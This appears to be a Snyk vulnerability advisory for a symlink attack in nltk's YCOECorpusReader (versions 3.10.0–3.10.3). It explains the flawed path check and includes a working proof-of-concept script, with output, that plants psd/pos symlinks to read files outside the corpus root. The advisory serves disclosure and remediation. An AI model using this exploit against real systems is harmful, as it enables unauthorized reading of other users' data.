Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade nltk to version 3.10.4 or higher.
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to Symlink Attack via YCOECorpusReader.__init__ in nltk/corpus/reader/ycoe.py, which constructs nested sub-readers whose roots are derived from self.root.join("psd") and self.root.join("pos"). FileSystemPathPointer.join() in nltk/data.py performs only a lexical prefix check using os.path.normpath and never resolves symlinks, and CorpusReader.__init__ in nltk/corpus/reader/api.py validates the resulting sub-reader root only against the global NLTK data sandbox rather than the enclosing corpus root. An attacker who plants a directory symlink named psd or pos inside a YCOE corpus can cause the nested sub-readers to be anchored outside the YCOE corpus root, allowing parsed_sents(), tagged_words(), tagged_sents(), and words() to return file content from other locations inside the allowed NLTK data sandbox. The disclosure is bounded to the global NLTK data sandbox: a symlink whose target resolves outside every allowed root is rejected at construction, so this is not an arbitrary-filesystem read.
Dependencies: a released nltk (3.10.0 through 3.10.3) on a POSIX host. No third-party packages. The only allowed data root is a fresh temp sandbox; ENFORCE is left at its default of True.
Steps:
nltk.data.path entry.doc1.psd / doc1.pos outside the YCOE corpus root.psd and pos entries are directory symlinks pointing at the victim directory.YCOECorpusReader on that root and read it.import os, tempfile, nltk from nltk import pathsec sandbox = os.path.realpath(tempfile.mkdtemp()) pathsec.ENFORCE = True nltk.data.path = [sandbox] pathsec._ALLOWED_ROOTS_CACHE = None from nltk.corpus.reader.ycoe import YCOECorpusReadervictim = os.path.join(sandbox, "victim", "psd_secret") victim_pos = os.path.join(sandbox, "victim", "pos_secret") os.makedirs(victim); os.makedirs(victim_pos) open(os.path.join(victim, "doc1.psd"), "w").write("(S (SECRET leaked-out-of-ycoe-root))\n") open(os.path.join(victim_pos, "doc1.pos"), "w").write("SECRET_NN leaked-out-of-ycoe-root_NN\n")
ycoe = os.path.join(sandbox, "corpora", "ycoe_evil"); os.makedirs(ycoe) os.symlink(victim, os.path.join(ycoe, "psd")) os.symlink(victim_pos, os.path.join(ycoe, "pos"))
reader = YCOECorpusReader(ycoe) print(reader.parsed_sents()) print(reader.tagged_words())
psd sub-reader real root : /tmp/ycoe_poc_zc35zihw/victim/psd_secret
ycoe corpus root : /tmp/ycoe_poc_zc35zihw/corpora/ycoe_evil
parsed_sents() : [Tree('S', [Tree('SECRET', ['leaked-out-of-ycoe-root'])])]
tagged_words() : [('SECRET', 'NN'), ('leaked-out-of-ycoe-root', 'NN')]
ESCAPE CONFIRMED: YCOE read out-of-root content via psd/pos symlink
A negative control with real (non-symlink) psd/pos directories stays contained, and a symlink whose target is /etc is rejected at construction with a PermissionError, confirming the escape is bounded to the sandbox.
Note: Requires a released nltk on a POSIX host with no third-party packages, using a fresh temp directory as the sole allowed data root and ENFORCE left at its default of True.